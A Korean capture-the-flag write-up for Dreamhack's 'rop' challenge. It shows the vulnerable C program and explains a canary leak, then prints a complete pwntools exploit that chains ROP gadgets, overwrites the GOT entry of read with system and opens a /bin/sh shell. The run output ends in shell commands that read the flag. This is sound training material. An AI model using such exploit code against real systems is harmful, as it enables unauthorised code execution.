Return Gadget을 사용하여 실행 흐름을 구현하는 기법.
GOT overwrite, return to library, return to dl-resolve 등의 공격 기법을 연쇄적으로 구성하여 ROP payload를 만들 수 있다.
해당 문제는 드림핵의 rop 문제를 Write up 한 것이다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
이 코드를 통해 buf를 버퍼 오버플로우시켜 Canary Leak 하여 Canary를 얻는다.
write(1, "Buf: ", 5);
read(0, buf, 0x100);
전에 구했던 Canary 값을 사용하여 이 코드에서 ROP payload를 구성한다.
1) [1] Leak Canary에서 Buf를 입력하여 Canary Leak을 일으킨다.
2) ROP payload를 구성하기 위해 필요한 read_got, read_plt, write_plt, 그리고 ROPgadget을 구한다.
3) 이제 ROP payload를 구성하는 데 chain 과정은 아래와 같다.
이 일련의 과정을 익스플로잇 코드로 짜면 아래와 같다.
# rop.py
from pwn import *
p = remote("host1.dreamhack.games",19470)
e = ELF("./rop")
libc = ELF("./libc.so.6")
r= ROP(e)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret = r.find_gadget(['ret'])[0]
# buf = rbp - 0x40
p.sendafter(b'Buf: ',b'A'*57)
p.recvuntil(b'A'*57)
canary = u64(b'\x00'+p.recv(7))
log.info(hex(canary))
payload = b'A'*56 + p64(canary)+b'B'*8
# write(1,read_got,...) --> read 함수의 libc 주소 찾기
payload += p64(pop_rdi)+p64(1)
payload += p64(pop_rsi_r15)+p64(read_got)+p64(1)
payload += p64(write_plt)
# read(0,read_got,...)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi_r15)+ p64(read_got)+p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)+p64(read_got+8)
payload += p64(ret)+p64(read_plt)
# read
p.sendafter(b'Buf: ',payload)
read = u64(p.recv(6)+b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
log.info(hex(read))
log.info(hex(lb))
log.info(hex(system))
p.send(p64(system)+b'/bin/sh\x00')
p.interactive()
결과
[+] Opening connection to host1.dreamhack.games on port 19470: Done
[*] '/home/li-sh/Desktop/dreamhack/rop/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] '/home/li-sh/Desktop/dreamhack/rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[*] Loaded 14 cached gadgets for './rop'
[*] 0xa8dcc8aa6ebf5900
[*] 0x7fa860186980
[*] 0x7fa860072000
[*] 0x7fa8600c2d60
[*] Switching to interactive mode
$ ls
flag
rop
run.sh
$ cat flag
DH{***************************}
이 원리 이해하는 데 엄청 오래 걸렸다. 특히 "read(0,read_got,...)에서 입력을 받아야 하는데 언제 입력을 받지?" 이거 때문에 엄청 헷갈렸던 것 같다. 그리고 libc, plt, got 주소가 서로서로 헷갈리게 사용하고 있었던 것도 헷갈린 요소였다.
결론 : 원리를 이해해도 다양한 문제에 적용 할 수 있게 다양한 문제들로 연습해야 겠다.